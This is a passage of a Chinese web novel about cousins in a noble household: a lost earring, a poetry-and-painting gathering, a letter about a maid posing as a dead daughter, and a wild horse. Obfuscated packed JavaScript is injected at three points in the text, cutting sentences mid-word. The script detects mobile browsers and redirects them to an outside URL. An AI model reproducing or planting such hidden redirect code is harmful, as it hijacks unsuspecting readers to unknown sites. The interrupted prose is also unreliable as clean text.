“表姑娘不必多礼,我只是顺道,这就走了。”花澈抬腿就要向外走。 “三弟!”花沛用目光止住他,又转向诗钰,客客气气道,“表姑娘有什么事?” 诗钰支支吾吾说:“我,我掉了东西,过来找找。” “是掉在这儿了?要不叫人帮你找找。”花沛淡然道。 “不用不用。”诗钰假装把屋内看一遍,“可能不是在这儿,我去别处看看。是个小东西,找不到就算了,不麻烦了。”她搭讪着走出去。 兄弟两个重又坐下来。花澈看向兄长,笑道:“是样小东西,又没说帕子还是玉佩,大哥随便拿出一件,事情不就成了?” “胡说什么!”花沛斥他。 “有什么不好承认,老太太、老爷又不会反对。人家姑娘都能舍下脸,大哥何必抹不开面子,非要留我在这儿招人讨厌。” “你想多了。我从来没起过那些念头。”花沛正色道。 花澈看他一眼,也敛了笑:“是我错了。大哥和大嫂情深意笃,令人称羡。” 花沛晓得兄弟这句话是认真的,听来却好似个天大的笑话。他咕哝一句,连自己都不知道在说什么,接着便岔开了话。 不多久,花澈看向外面说:“又有人来了。” 花沛转头透过雕窗望去,几乎动弹不得,只有心猛地砰砰跳起来。表妹是来找谁?她低头走在桥上,蓝盈盈的裙边翻舞,好像是凌波而行,裙下探出的鞋尖隐约缀着珍珠,恰如一点轻巧的水花。 银荷推门时,花沛已经站起身,花澈还坐着。银荷同样吓了一跳——她以为这儿没人。 “大表哥,三表哥。”银荷低低说了一声,想要退走。 “表妹莫忙,原本是有什么事吗,别因为我们耽搁了。”花沛急忙道。 “没有什么事。”银荷犹豫片刻,觉得既已进来,不好扭头就走,便说,“是掉了东西,因为之前在这儿待过,所以过来看看。要是表哥不曾见到,我再去别处找。” 花澈先笑起来:“今天可真怪,这么多人都掉了东西。”他仍是懒懒靠在椅上。 花沛忙问:“表妹丢了什么?我们只坐一会儿,并没留意,刚好一起找找,说不定便找到了。” “恐怕是掉了耳坠子。”银荷还没答,花澈抢先道。 花沛不由便向银荷耳畔看去,目光轻轻擦过,又将她全身装扮收在眼底。 银荷与由心离开矴州时,因曲展事先吩咐:“旅途中务要低调为上,一应孝服虚礼皆可免除。”两人在路上俱是寻常装扮。来到花家后,银荷便也未穿孝服。 平日里,她衣着素净,今日,为是老太太寿日,方换了身略鲜艳带花色的衣裙。 花沛总是见到表妹淡雅至极的打扮,觉得恰好适宜她出水芙蓉般的天然风姿,但此刻,看她穿件莺背色的衫子,他又受到一次新的冲击:表妹的样子分外可爱,像羽毛光鲜的鸟儿,生着两只一勾一勾的小爪子。 花沛呆了片刻,赶紧问:“可是耳坠?” 银荷又停一下,才说:“瑶妹妹的耳坠不小心掉了一只。请大表哥和三表哥千万别告诉人,我们怕二伯父知道了要生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16933502|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花沛想都没想,顺着意思答道:“那是自然,表妹放心,我们谁也不告诉。” 银荷向四下里略看了看,花沛也帮着她看,只花澈稳稳坐着,事不关己。 听了宝屏的话后,银荷已将再不搭理花澈的决心,又加深了一倍。可是,当着花沛的面,倒不好把厌恶之情表示得太过明显。因此这回见花澈,她嘴里仍唤着“三表哥”,但是身子僵僵地拧着,不向他转过脸,眼睛更是避而不瞧。 花沛注意到这一情形,却也并不感到奇怪。 他想:花澈才回家没多久,表妹与他还不熟,再者,花澈是没成婚的男子,表妹自然要避开些,何况,花澈这没礼貌的模样,哪里值当表妹正眼睛看他。花沛转头,严厉地瞪花澈一眼,“三弟。” 花澈这才站起身,只是嘴上还泼着凉水:“肯定不是掉在这儿,便是,也早让人捡走了。” 银荷看这屋里确实没有,就急着要去别处。 花沛又说:“这么大地方,你一人如何找到。我叫几个人,帮你一起。” “多谢大表哥,不过蝉影她们已经在找了,动静太大怕给人知道。” 花澈在旁道:“别白费力气。不如等明天早上,让人把园子细细扫一遍,枯草堆里也别落下。管保能扫出一簸箕,随便挑。” 银荷明知道花澈含嘲带讽,只作没听见。花沛又狠狠瞪了他一眼。 花澈便说:“大哥既吩咐,我帮三妹找找。不过总得有个样子吧。——三姑娘的耳坠什么样子?” 这话是向着银荷问的。银荷只好面朝他回答,用手指比量着:“大约是这么大一粒白珠子。” 花澈对上她眼睛,笑起来:“好办。不必找来找去了,另一只拿来,我让人照样再做一个,至多一两日工夫,除非老爷太太今晚上就查问。” 银荷本来已对找回失物不报太大期望,心想如他所说,倒是一个办法。不过她还有些怀疑:“能配到一模一样的?瑶妹妹说那珠子不易得,二伯母刚舍得给了她,要是别的也就不着急了。” 花澈嗤笑一声:“哪怕是龙王头上珠子,也寻得出一样的。” 花沛忙说:“不会有错,表妹放心,请表妹向三妹说一声。——三弟,你叫人去三妹那儿取,紧着些做好,可别忘了。” 银荷向二人施礼告辞。 花沛眼瞅着她足不沾地似的快步过了桥——轻盈、敏捷,像只小鸟飞掠湖面。他怀着混乱的心情转向花澈,责备道:“你不能斯文点儿说话,又不是别人,正经是表妹。” “正经不正经,不就是个是个表妹,又不是公主。”花澈早已经一屁股坐回椅子,不起劲地说,“再说,等什么时候公主来咱家,大哥再瞧,我还不如这个样子呢。” “行了。”花沛对兄弟无可奈何,“也坐了够久了,咱们去前头看看还有什么事情。” . 花瑶害了几日风寒,这天刚好,银荷来找她,见她已戴上新配好的耳坠,果然分辨不出。两人欢欢喜喜来到老太太处,映雪、花瑛、戚晚等人也都在。 这时,瑷宁拿了张帖子进来,见了花瑶便说:“瑶妹妹好了吧,正好,卫家太太下的帖子,请你们去她家里玩呢。” “什么时候?该趁着小阳春出门转转。”映雪一面问一面接过帖子看了,便笑道,“诗画会?他们家就喜欢搞这些风雅的。不就是明日,怎么突发奇想,都来不及准备。” 瑷宁说:“有什么好准备,哪个不是提笔就能写会画,如今姑娘们就拿手这些。我明日另还有事要出门,已经应下不好改的。你陪着她们去吧。” 映雪点头答应。老太太听见了,连声说好,正该要姑娘们多出门玩玩,又特意嘱咐银荷:“出门可别穿这么单薄,没个添换,现在也就是日头下暖和。当心像瑶儿一样吃了凉风。” 银荷不曾想客人也包括自己,忙说:“我就不去了,又不会画画作诗。” 映雪笑道:“都要去,不许谦虚。人家帖子上专门提了咱家五位姑娘,你们数数,跑得了谁?” 银荷来花家后,跟着瑷宁或映雪上过几回街,但拜客之事倒还没有。老太太过寿那日,让她见了见人,如今,别家都知道花家有这么一位表小姐,写请帖时,自然特别写明白了,以防失了礼。 “我不认得卫家太太。”银荷还想推脱。 “去了便认识了,卫家太太很和气,那天不是和晚妹妹聊了好半天吗?”映雪指指戚晚。 戚晚红着脸道:“她是很和气,我们说了几句话。” 银荷见如此,便答应了,谁知花瑶突然说:“我不去。” 大家都诧异,又是询问,又是劝说,花瑶只咬定一句病刚好,不愿出门,众人只得作罢。 17. 诗画 第二日,映雪同着花瑛、银荷、诗钰、戚晚四位姑娘在门前上了马车。卫府和花府相距不甚远,没说几句话也就到了。 卫家太太在庭前迎接她们,热情招呼了映雪和花瑛,见了戚晚微微一笑,又拉了银荷诗钰二人赞叹一番,将她们请入花园。 这日太阳极好,客人到来后,皆进了园子,不多时,到处都是形容脱俗、谈吐雅致的年轻姑娘。 卫家待客之道别具一格,宾主都毫不拘礼见外,介绍起来也不过一句“王姑娘”、“李姑娘”、“张姑娘”……之后主人便不知去了何处,留下客人们随意攀谈结交。姑娘们或坐或立,或挽手而行,姹紫嫣红,争相吐艳,将冬日的花园映得胜似三春时节。 银荷瞧见这庭院书香清气四溢,不知怎地想到矴州曲府,她忍不住离开众人,向那兰幽竹静处走去。 池边端然立着一位姑娘,岸上和水中是同样清凌凌的身影。银荷一下呆住,由心回来了。 她使劲眨眨眼睛,险些没站稳,身子一摇,晃过神来。不是由心,只是这人的身形、发式、衣着与由心无一不似,自己才会看岔。银荷不忿地狠盯几眼,任她是谁,凭什么有同由心一样纤丽的背影,一样挺秀的姿态,东施效颦罢了! 银荷不想看见她的脸,正预备走开,那人却转过头来。 完全不一样,银荷大舒一口气,差得太远了,这世上根本不可能再有第二个由心,就连相像也都别想。 那姑娘好奇而有分寸地打量了银荷一瞬,微微露出笑容,走上前来。“姑娘莫怪罪,我猜你是瑶姑娘的表姐吧。” 对方这样客气,银荷倒很不好意思,笑起来:“也对也不对。现在这儿就有三位表姐,你指的或许是另一个?” “可不,我自己也有好几位表姐呢。”那姑娘歉意道,“对不起,我失礼了,刚才不该错过介绍,我叫任嘉仪。” “啊,原来你就是任姑娘。”来时路上,银荷已从花瑛口中听到不少任嘉仪的“事迹”。她是刑部尚书之女,素有京城第一才女美名,与卫家大太太是表亲,常来这里做客。 “我听过你,早该想到。我叫曲由心。”银荷说。 两人相视一笑。 这时,银荷发现,嘉仪虽说长相算不得格外标致,不过在她身上,相貌却是最微不足道的东西。交谈中,她目光专注,双眼闪耀生辉,话语优美,如兰花吐露芬芳。过不得一会儿,银荷便不得不承认对任姑娘的称誉所言非虚。 不枉将她误认作由心。刚刚的敌视一下子无影无踪,银荷热情地和她说起话来。 殊不知,嘉仪也在心中赞赏银荷意态活泼、无拘无束的美。 “竟没有早认识你。”她叹道,“曲姑娘平日喜欢做什么?我们有几个人,时不时会起社,大家聚在一起玩耍切磋,琴棋书画各随其好。曲姑娘若有兴致,欢迎加入我们。” “我喜欢骑马。”银荷乐意与她交好,但不知为何,脱口而出的却是这个。 嘉仪脸上闪过失望之色,随即笑起来:“我又落俗了,曲姑娘原本就是诗情画意的人物,不描乃画,不赋而歌,天然才调,比我们那些刻意为之不知高出几许。” 银荷还没受过这样的赞扬,脸都红了。她们朝着重新聚拢的人群走回去时,银荷认真说:“将来哪天,我一定去向任姐姐请教。” 卫家太太正指挥人在暖阳下设座,十来个案台围成一个圆圈,每个上面都摆了纸笔颜料等物,又有人搬来绣墩。 映雪朝银荷招手:“马上进入正题,该你们上去施展了。” 银荷说:“瞧着倒挺有趣,不过也怪让人紧张的,考场恐怕就是这个样子。” 花瑛道:“若是考试,那任姑娘就是状元了,分明都是她的强项。只设了一份头奖,其他人还有什么争的?” 原来这次的规矩不同以往:来客自愿参赛,愿意参加的人,便上去抽一张题签,题目各不相同,不过每个人总是要作一首诗,一幅画。抽好题目后,上交“试卷”前,谁也不得与人交流探讨。所有参赛者全部作完后,作品也不会贴出来给大家互相品评,而是另有人打分,隔两日,会为头名送去奖品,没得的便不是第一,只自己心里清楚,并不伤及颜面。 银荷笑道:“题目都不同,怎么评比。这可得打分的人公正才行。” 花瑛小声说:“虽然没明说,评分的自然就是卫翰林卫公子了,公正应该是公正的,不过——本来嘛,有人诗好,有人画好,可单论起来,谁也好不过任姑娘,最多持平罢了,现在两样加起来,铁定更没有超过她的。” 戚晚接口道:“既然来了去玩玩也好,管他谁第一呢。” “我可不去做那陪衬。”花瑛说着走开了。 戚晚便怂恿银荷、诗钰。 诗钰摇头:“我不会,还是去别处玩罢。” “反正有我垫底,怕什么。”戚晚又说。 别人或许不知,但银荷听过戚晚弹琴,知晓她嘴上这么说,肯定是有相当的底气。一时银荷的好胜心又被激起,爽快答应:“好,我去,我也不怕垫底。” 其他姑娘中,亦有不少跃跃欲试,不在乎输赢奖品——知道比不过任嘉仪——不过图个好玩。光想着能抽到哪样题目一项,便足够吸引人了,很快等着领签的姑娘们就排好了队。 银荷拿到签条,不知会是个什么刁钻命题,展开一看却也简单:作一幅夏日即景图,另外填词一阕浣溪沙,词与画不必相关,但依然要扣上“夏日”二字。 眼下虽是冬天,但这题目还真难不倒银荷——她恰巧独会画荷花。盖因矴州曲府中一片荷塘极美,曲展作画时,便常对了池子,春夏秋冬皆有,夏天里自然最多。由心和银荷都在旁边学过,虽然银荷至多学得三成,这时拿出来倒也勉强应付得了。 现场作画,没工夫精描细摹,只能写意,这又是银荷最爱的。她泼墨成叶,寥寥数笔勾勒出花形,乍一看确实有些味道,对一个十多岁的年轻姑娘来说很不错了。但她不知那位卫公子擅画,评判起来更是苛刻,只从基本的运笔收放自如、用墨浓淡相宜、构图疏密有致论起,都能从她的画中挑出不少不足来。银荷自己瞧着还满意,反正现在后悔平日没有勤加练习也晚了,她将画放在一边,琢磨起诗来。 初看不难,因为她正好也最喜欢夏天,可是要将涌上心头的万千思绪抒写出来,她却拿不准自己有那个笔力。银荷想了数句,统统不满意:想要写得清新朴实,却总是雕凿过重,又够不上流丽顿挫,任谁都能看出水平不到家。 和由心没法比。银荷回想由心素日里随口就能吟诗一首,强过自己万倍。 昔日和由心在一起,银荷当然从没生过争强之心,不过曲展倒不因她是个丫环就不当回事,既与由心一同念书,便也一同考评,银荷每每甘拜下风。 到花家这半年多,姐妹们坐在一处说话,偶尔也对对句,有时银荷的句子好,有时别人的好,她并不大放在心上。但这回,和京里最有才华的一干女子相较,若被人说一句曲家姑娘不过如此,却是不能忍受。 既然已经用了由心的名字,用她的诗句也算不得作弊吧。银荷犹豫片刻,将由心曾填的一首浣溪沙写在纸上: 渐促蛩鸣动碧窗 玉炉烟等旧尘光 黑甜一梦起何乡 恰恰青春容易短 迟迟白日那堪长 且将花月慢思量 刚搁下笔,墨迹未干时,银荷便后悔了。她呆呆看着面前纸张:由心姐姐已经不在,她的诗却还要被不知什么人评判。无论好坏和他们又有什么干系,谁还会知道世上曾有这样一个姑娘,理解她的喜怒哀乐? 银荷正想将纸撕掉,谁知旁边守着的丫环等得无聊,见已有一人完成,走过来二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16940802|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话不说拿过她的画和诗。银荷怕引人注意,不好叫住她,只好任她收走,幸而不曾署名。 比赛不限时,其他人都还在自作自的。银荷经过戚晚身后,见她正在画一张鹦鹉图。 鹦鹉还未全画完,但已得见其毛色妍丽,英姿勃勃,似乎刚立上枝头。银荷看戚晚画得艳而不俗,形神兼具,虽不至始料不及,也还是微微吃了一惊。她又向任嘉仪望去,想瞧瞧她到底是如何水平。可惜任姑娘刚把一篇长诗放在一边,画还未开始作。 那些没下场参赛的,怕扰了别人思绪,早已跑去远处自便了,银荷寻不到映雪花瑛等人,走着走着,远远瞧见一间亭子中有人影,便走近前去。亭外有几株矮树,透过交错的枝条,银荷看清是个小丫环正在拿扇扇炉子。还不待她走到跟前开口,对过又跑来一个小丫环。银荷脚步轻,两人都没发现她,便说起话来。 后来的那个说:“别光煮茶了,你还没去看吧,今儿来的客有几位是没见过的,可真是奇了,一个赛一个好看。” 银荷听到这话偏又好奇心起,想听听她们怎么说,便立在一旁。 另一个小丫环仍不紧不慢对炉门扇着:“有什么稀罕。” “说不定将来的二太太就在里面了。” “省省吧,别献错了殷勤,你能知道是哪个?我看还是任大姑娘。” “嘁,要是二老爷看中了任姑娘,还等到今天?太太干吗要请这么多人,何苦来浪费笔墨?——不过是个幌子,毕竟咱们二老爷,夫人不能没点儿学问。可娶夫人要那么大学问做什么,谁不喜欢俊的呢?” “那也是老太太和太太一头热,要是二老爷愿意,怎么不趁他在家的时候请客。” “说不定二老爷马上就回来了,看着吧,我和你说啊……”这时话音低成了窃窃私语。 银荷扭身走开,她算搞明白了,原来这些个诗会不是因为主人喜好文雅,竟是为了给他家二老爷挑个夫人。都做了老爷的一个人,还是位翰林呢,不嫌害臊!太子选妃都不会做出这些张致。 这位卫翰林名叫卫维扬,其实尚是位年轻公子,只因父亲故世,现在府里是他大哥当家,仆人们也就尊他为二老爷。但银荷只听说他是太子侍读,其它一概不知,便知道也不作理会。她心想:卫家二老爷真给读书人丢脸,还才名呢,欺世盗名!至于品行嘛,和花澈是一路货色。 本来不过有些好笑的事情,仔细一想却又令人气愤。像花瑶那样干脆不来倒好,来了不过是落得让人评头论足挑肥拣瘦一番,就连任姑娘那般冰清玉粹的人物,也逃不过。 银荷越发觉得没趣,想到“二老爷”说不定马上回来,简直一刻也不想再待。她找到一个管事的大丫环,托她给主人和映雪转告一声,她要先回去。那丫环为她安排好车,自去传话。 马车将银荷送到花府后门。银荷等不及回自己屋,先去找花瑶。穿过花园的路上,远远看见花澈正陪着老太太在园子里逛,老太太扶着他的手,笑得甚是开怀。银荷不由想,花澈人虽浮浪,倒还有一点好,他对老太太是真心孝顺。 本想绕开,但老太太已经向这边望过来,银荷走上前。 老太太惊讶道:“由丫头不是做客去了,这么早就回来了?” “在他们家坐了一会儿,身上不大自在,便回来了。”银荷解释说。 “哪里不好受?”老太太一下紧张起来,“你二嫂呢?怎么让你一个人?” 银荷后悔编了这么个理由,赶紧说:“怪我没告诉二嫂。就那一小阵,没什么大事,现下全好了。” 老太太仍不信:“快和我回屋歇着。澈儿,你赶快叫人请大夫。” 花澈笑道:“祖母不用着急,瞧妹妹,心都不安了。”又将银荷全身上下一看,“我看妹妹康健得很,一定是那些滋补汤药管用。妹妹来家这大半年,连个多余的喷嚏都没打过吧?” 18. 来信 老太太听花澈说“妹妹”身体康健,半年未生过毛病,心想确实如此,心中高兴,哪里疑到其它。这时,携了银荷同往自己居住的万紫园走,见她手也暖和,便撇开要找大夫一事。 回到屋内,老太太让人去把花瑶叫来一起吃饭,对银荷说:“都是自家兄妹,没那么多规矩。不用管你三表哥,只当他不在。” 老太太既有吩咐,银荷当然奉命不理花澈。等花瑶来了,就与她去里屋说话。 “这么早,她们呢?”花瑶小声问。 “我先回来的。”银荷悄声道,“我知道你为什么不去了。你怎么不早告诉我,不然我也不去。” “我是因为……”花瑶红着脸支吾,又想听个究竟,“怎么了?不好玩么?” 银荷只管摇头:“好玩倒好玩的。对了,我瞧见戚晚姐姐很会画画,所以才气人——凭什么就白白画给他们瞧。我听到他们家里有人说……”银荷把两个丫环的话告诉花瑶。 “看着是个知书通礼人家,做的事情半点也不像个样子。”银荷轻蔑地说,“反正总有人恬不知耻,以为自己天下一等俊俏,谁都该捧着他。” “卫公子他……他自己应该没有……”花瑶嗫嚅地说,低着头,声音又极小,银荷没听清。 正好这时花澈掀帘,冲她们喊:“别忙咬耳朵了,先来填饱肚子。”便把谈话打断了。 几人围桌坐下,原是邀月、绘云站在一旁张罗,花澈把她们打发走,亲自给每个人都布好菜。 银荷从没和花澈在一张桌上用过饭,见花澈竟熟知她的口味,深感惊异,不由看了他一眼。 正好看见花澈笑望着她,眼睛仿佛说:“妹妹快吃吧。” 银荷一惊,话又不是他说出的,自己猜测意思便罢,怎么还给他加个“妹妹”?她赌气不拿起筷子。 老太太问:“这甜鸭子怎么不给你由心妹妹捡几块。”她又向银荷说,“我记得那时你父亲最爱吃它。” “妹妹不喜欢吃。”花澈接口。 “你又知道了?”老太太嗔怪。 “妹妹性烈如火,一定不爱吃甜。这暴跳如雷的田鸡,怒目横眉的鱼,咬牙切齿的苔干,是妹妹极爱的几样,对吧?”花澈看向银荷。 银荷当真怒目横眉,咬牙切齿:“我不喜鸭子是因为,它嘎嘎不休,成日聒噪。” 花澈笑容满面:“鸭头是我的极爱。”他把鸭子脑袋夹到自己盘中,自语道,“嘴巴再硬,也是浸了蜜糖的。” 银荷恨不得拿盘子丢到这个笑脸无赖身上。老太太斥花澈:“让你陪妹妹吃顿饭,只顾耍嘴。罚你讲个故事,讲得不好,拿筷子敲你。” “我能有什么好讲,既不风雅,又没趣味,妹妹们肯定不愿意听吧?”花澈依次望望花瑶和银荷。 花瑶窘迫地低下头。兄长中,她只在花涛跟前自在些。她怕父亲,而怕大哥又比怕父亲更甚。奇怪的是,虽然花澈从不曾对她严厉,但面对花澈的随和,她像面对花沛的严正一样感到拘谨。 银荷毫不客气接住花澈的目光:“我想听听三表哥在外面的故事,三表哥骑着马跑来跑去,都做些什么?”不信他当着老太太,真敢讲。 花澈果然为难道:“我又不是个将军,骑着马跑来跑去,也没那些跌宕热闹、波路壮阔的事。” “善战者无赫赫之功。”银荷讽刺地说,“三表哥做的事情,一定也有意思。” “妹妹真会夸人。”花澈笑眯眯说,“既如此,倒可以讲讲,就怕妹妹觉得腌臜。” 老太太重重放下筷子:“我还在这儿,看你敢说什么不干不净的。” “其实也挺干净,说起来马比人还受不得脏呢。”花澈话头一转,讲起了牧场养马的事。 相马、饲养、训练……里面好多门道,银荷一点儿都不懂,不禁听入了迷。 直到花澈说:“什么时候带妹妹去看看,给妹妹挑一匹,妹妹喜欢什么颜色?噢,我想起来了,不喜欢白马。”银荷方如梦初醒。 老太太说:“那么远,又是苦寒的地方,怎么能带你妹妹去。” 银荷差点儿说:“我想去。” “养这些马做什么?”她问。 “当然是卖掉,难道都白白养着?”花澈瞅着她笑,“除非特别喜欢的,养一两个,我倒乐意。” 这话听着似在含蓄不含蓄之间,若作含蓄讲,意思却很不好。银荷发誓再不理他。 这时,老太太说:“瑶儿今天怎么不说话,还没大好么?由儿也吃得少,还是叫大夫给你们两个都看看。” 花澈说:“是我讲得没完没了,没给三妹留空说话,也耽误大家吃饭。祖母怪我便是,反说偏话,非要给两个妹妹挑出毛病。” “还不赶紧闭嘴!”老太太气得笑骂他,“只知道说,什么时候真关心过妹妹?——马骑得如何也不见你问问。” “祖母批评得是。过两日,我去瞧瞧妹妹骑马。” . 十一月第一日,花澈接到了矴州的来信。 距他派人过去打听昔日曲府里的小姐和丫环,已有一个半月工夫。 矴州与京城一来一回,快马加鞭也需二十余日,回信到的真不算迟。但花澈仍是多少等得心焦。不过,信封拿在手里,他又有些踌躇,掂了一掂,份量很轻,怕是没打探出多少消息。 终于打开,信果然不长。 信上说,曲展生前只结交些闲云野鹤,和当地官宦人家少有往来;曲展去世后,府邸出售给别家,家仆各自遣散,远走他乡或下落不知。因此,熟悉曲家情况的,无论旧友还是旧仆,均未找到一个。 曲家小姐千金贵体,平日绝少出门,左右邻居中,真正见过小姐的亦无几人,甚至没人能确切说出曲展故去后小姐投奔了何处。不过,众人皆知曲家小姐才貌双全,只是体弱多病,常年寻医问药。 关于小姐身边的丫环,确有一则传闻:小姐母亲去世后不久,曲展不知从何处领回了这个丫头。此事引起过短暂的街谈巷议,猜测那是曲展与人私养的女儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16950487|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>曲展从未加以理会,谣言很快便不攻自破。认识曲展的都说他做人清正,与他不相熟的人也断定他对夫人感情深厚,因为尽管膝下无子,他在夫人亡故后却始终未续弦。 这些差不多就是信中所述全部。最后是写信人的一番告罪:无颜见三爷,留此待命,请三爷进一步指示云云。花澈扫了一眼,心想此人素来精细,若他问不出,大概真是问不出。当日曲慕贬官至矴州,半算作退隐,应是有意告诫家人谨慎言语,勿要过多显露府中事务。 不过,花澈又想,派人去打听时,有些话自己未曾明说,别人未必清楚他想知道的到底是什么,要消除疑问,恐怕还非得亲自去一趟不可。 他的视线重新移到纸上的几个字。 私养的女儿? 这倒像是实情。若真是如此,便罢了。尴尬的话当然不必提,老太太既喜爱她,当作嫡亲侄孙女,也没什么。 不过花澈的心只松了这一瞬。 果真是私生女,曲展临去前,总对她有个安排,是如何?若小姐没病死,她便一直是丫环?她知不知自己的身份?该是知晓,并且那两名老仆也知晓,不然,谁给他们的胆子,敢将个丫环假充小姐? 胆子嘛,好像是有一些。不过,三个仆人,怎能真将事情做成,而且做得毫无破绽?若非他碰巧那晚在客栈瞧见,岂不是也完全被蒙在鼓里? 这其中,肯定还有点儿什么,他还未得要领。 甚至连她的名字都不知道。 花澈烦躁地来回踱步。 其实不必费麻烦,可以直接去问那丫头——一个姑娘要是生了那么美的颈子,一定不愿让人扭断它,只要随便吓唬一下,就能逼出话来。 先前,是为了等这封信。如今,信已来了,难不成还继续逗着她玩?眼见小丫头已经不吃这套了,只管躲着。花澈轻笑一声,那便怪不得他,直接些吧。 尽管,他依然认为,除非能让她主动说,其它办法都是等而下之。 就好比一册值得一读的文字,捧在手中,既要痛快念下去,又不希望马上结束,既舍不得中断,又禁不住时时停下咂摸;须得一页一页翻至最后——不提前,不延迟,更不可擅自更改,直到那个他自己断然构想不出的绝佳终句。 . 翌日清晨,花澈在书房外练剑,院内树木纷纷被削得秃了,过一时,换成刀,将幸存的枝桠再砍一遍,吓得几个小厮不敢露头。等他终于扔下刀,元宝才战战兢兢上来说:“爷,水备好了。” 花澈大步走进屋,吩咐道:“另取身衣服,等下去马场。” 元宝听了不对,不能不壮胆提醒:“今日是任二爷约了爷,还有四殿下。” 花澈摆摆手:“让人去说一声,你跟我一起去马场。” 元宝心想,既然连任二爷的约都不赴,必然只为了一个缘由,不禁也有几分好奇、心痒,大着胆又问一句:“爷是听说有新到的烈马,要去瞧瞧?” 花澈停住脚:“你倒提醒了我,就去那儿找一匹。” 19. 烈马 花澈和元宝从小门出来,两匹马已经在那儿立着。花澈刚跨上马背,斜刺里窜出一人在面前跪下,口内不住嚷着:“三爷,三爷,求三爷听我说句话,我娘……” 花澈瞧都不瞧。马儿从那人头顶一跃而过,几个落地,跑出了巷子。 京城最大的马场在北郊,十来里路,没费工夫便到了。 马场主人姓滕,因有万马奔腾一词,取个谐音,大家叫他滕万马。 滕万马正在屋里坐着,听见一阵蹄声,一听便知,不是自家的马儿,跑出院子一瞧,看见花澈,急忙迎上前。 “今日起来神清气爽,果然有贵人临门。三爷脚踏贱地,是不是又得了好马?”他忍不住便朝远处望去。 花澈说:“正是为这个,才来找滕大哥。” “三爷说笑了,我这儿可找不出这样的神驹。”滕万马收回目光,这才敢细瞧瞧花澈身后通体油黑、不掺一丝杂色的骏马。马场的主顾大都是京中贵族,多喜欢白马,黑马难卖上好价,但花澈这匹一看就不是凡马。滕万马喜欢得眼都挪不开了。 “我来为舍妹挑匹马。”花澈说。 “哎呀,我这脑袋不要也罢。”滕万马一拍脑门,“尊府几位小姐现在骑熟的几匹,都是咱们这儿最温顺的马了,也都是上等的。不过小姐们骑艺精进,是可以换换。——三爷等令妹过来再挑选?” “不等了,我先选好,让她们瞧个惊喜。” 滕万马便引了花澈去看马,一连看了近十匹,花澈只是摇头。滕万马颇为作难:“不知三爷中意什么样的?” “姑娘们自然喜欢模样好看的。” “要论模样,哪个比得过你那……哎呀,我又忘了,你不肯让人骑它。可不,要给我也是,别说妹妹了,亲闺女也不许碰上一碰。”滕万马一面絮叨,一面领花澈去另一处马厩。 于是又连看数匹,花澈仍能挑出各种毛病。这时走到一个隔间前,花澈咦了一声:“怎么看着面熟?” “三爷好记性,这正是前年从你那儿得来的,都是些好马,就剩这一匹了。”马场主爱惜地看着那条约莫三岁多的赤色母马。它带点儿自命不凡的神气,像是知道自己长得好,大大方方立在那里任人欣赏。 “滕大哥还留着它?”花澈打量了一会儿,问道。 “这马多俊那。”滕万马赞叹道,突然想起来,忙又说,“不成,不适合小姐们骑。” “这不要紧。牵出来看看。” 滕万马为难地搓搓手:“不是我舍不得,我有缘故:看它这样好,任谁也挑不出毛病来,谁知出去后,不定什么时候就要撒野。我卖了两次,两次都摔了人。幸好人家伤得不重,没找我偿命,马又叫给退回来了。后来再有人想要,多少钱我也不敢卖呀。人家都说这马驯不熟,将来生出来的也是野性儿,劝我杀掉算了,我瞅它模样俊,就是不能下手,只能好草好料养着,好比供了个祖宗吧。” 花澈闻言说:“我就要它。” “哎呀这可不是闹着玩儿的,我知道三爷是想照顾我,不过,——三爷自己试试还行,小姐们就算了,万一被惊到我可担待不起啊。” “腾大哥不用担心,我牵牢它就是。” 滕万马见如此说,只好答应。 花澈看完了马,元宝才喘吁吁地赶到。 “你还肯来?”花澈奇道。 元宝连忙告饶解释:“原先跟着大爷的王兆喜,早几个月大爷把他撵了出去,谁知怎么这时又跑来求情。” “求你什么?” 元宝眉眼耷拉着:“小的不敢。” 花澈冷哼:“大哥撵了他,他来求我,他是我什么人,奶兄弟不成?” 元宝正是花澈乳娘的小儿子,听了这话,讪讪笑着:“我没答应他。小的知道小大,借我一百个胆子,也不敢和爷对着来。”犹豫片刻,觑着花澈面色,小心地说,“小的给了他几个银子,看在他娘当初……” 花澈脸色更冷:“你回去跟各门上的人说,下次再见着他,只管打死。谁的面都不必看,他娘算什么,当初也不就是个丫环。” 元宝不敢接话,唯唯应了。 又过好一时,银荷几人乘着马车,才到了马场。花澈指指长乐,对元宝说:“你去和他边上说话。” 支开长乐,花澈牵马向几位姑娘走来。银荷一眼就看见了他,又立即越过他,向他身后的赤色马望去。 她认得这匹马啊。 